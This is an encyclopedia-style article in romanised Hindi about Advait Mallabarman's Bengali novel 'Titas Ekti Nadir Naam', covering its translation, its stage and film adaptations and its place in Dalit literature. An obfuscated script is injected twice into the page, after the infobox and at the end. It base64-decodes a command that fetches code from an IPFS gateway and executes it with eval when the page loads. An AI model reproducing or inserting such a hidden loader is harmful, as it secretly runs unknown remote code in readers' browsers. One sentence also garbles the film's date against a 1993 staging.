तितास एकटि नदीर नाम
titas ekati nadir nam
| |
| lekhak | advait mallabarman |
| mool shirshak | titas ekati nadir nam |
| anuvadak | pro. chandrakala pandey aur d aau. jay kaushal |
| prakashan tithi | 1956 |
| desh | bharat |
| bhasha | hindi (mool- baangla mean) |
| vidha | upanyas |
| vishesh | isamean machhali pak dane vali ek nichali jati malo ki kahani hai. malo samuday ka tripura aur baangladesh mean bahane vali nadi ke sath nabhinal rishta raha hai. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
titas ekati nadir nam baangla bhasha ki ek kalajayi kriti hai. yah 1956 mean jab chhapi thi, tab tak isake lekhak 'advait mallabarman' ki matr 37 sal ki umr mean akal maut ho chuki thi. par is upanyas ne unhean amar kar diya. mashahoor philmakar rritvik ghatak ne is par isi nam se ek avismaraniy philm banaee thi. baangla sahity mean ise dalit vicharadhara ki pratinidhi kriti ke bataur bhi dekha jata hai, kyoanki advait khud dalit malo samuday se the. is upanyas mean avibhajit bangal ke hiandoo machhuaroan aur musalaman kisanoan ka jivan apane tamam bhav-abhav ke sath chitrit hua hai. is upanyas mean lekhak ka najariya katee romaantik nahian hai, lekin janajivan ki naisargik sushama isamean bhari huee hai.[1]
titas ek nadi ka nam
'titas ekati nadir nam’ upanyas ka hindi anuvad ‘titas ek nadi ka nam’ se manav prakashan, kolakata dvara prakashit hua hai. isaka anuvad pro. chandrakala pandey aur d aau. jay kaushal ne kiya hai. san 1956 mean pratham bar baangla mean prakashit is rachana ka prasiddh film abhineta utpal datt dvara 1963 mean bharatiy gananaty sangh ke prayas se naty-roopaantar aur manchan kiya gaya tha, jisamean svayan utpal datt ke sath-sath vijan bhattachary aur charchit gayak nirmalendu chaudhari ne pramukh bhoomikaean nibhaee thian. isake bad 1993 mean natakakar shantanu kayadar dvara abul khair aur mohammad yusuf ke sath kumilla (ab baangladesh mean) mean isaka manchan kiya gaya. isi varsh prasiddh bharatiy film nirmata aur patakatha lekhak rritvik ghatak ne 1973 mean is par ‘titas ekti nadir nam’ shirshak se hi baangla mean ek film banaee thi, jise 2010 mean ayojit 63vean kaans philmotsav mean ‘kaans klasik’ ke tahat pradarshit kiya gaya tha.‘[2]
samiksha
titas, ‘meghana’ (ab mukhyat: baangladesh mean bahane vali) se tootakar bani ek nadi ka nam hai, lekin is upanyas mean advait ne use manavikrit roop mean chitrit kiya hai. isake kinare manushy-jivan ki anek chhaviyaan aankit haian. apane nagn-yatharth, sugathit kathan-shaili, mithakiy vyakhya, bhavy-sanrachana aur sangitamay kathanak ke karan yah upanyas samakalin baangla sahity mean behad samadrit hai. desh-vibhajan se pahale hindoo-muslim sanpradayoan ke bich jo mithas thi, usaka varnat to ‘titas’ mean aya hai, lekin vibhajan ke bad donoan sanpradayoan mean aee titas ko is ‘titas’ mean nahian dikhaya gaya hai. muslim khetiharoan aur hindoo machheroan ki sanskriti ka eka is rachana ki ridh hai lekin tatkalin bangali samaj mean maujood rahi ‘chhuachhoot’ aur ‘jatipratha’ ke prasang bhi apani poori prakharata ke sath ae haian, yahi karan hai ki baangla dalit sahity evan vimarsh mean is upanyas ko dalit abhivyakti ki pahali mahattvapoorn rachana ka darja hasil hai.[2]
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ sushaant, dharmedr. kalajayi kriti (hindi) hiandustan laiv. abhigaman tithi: 14 march, 2015.
- ↑ 2.0 2.1 pariprekshy : titas ek nadi ka nam (hiandi) samalochan (bl aaug). abhigaman tithi: 14 march, 2015.
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>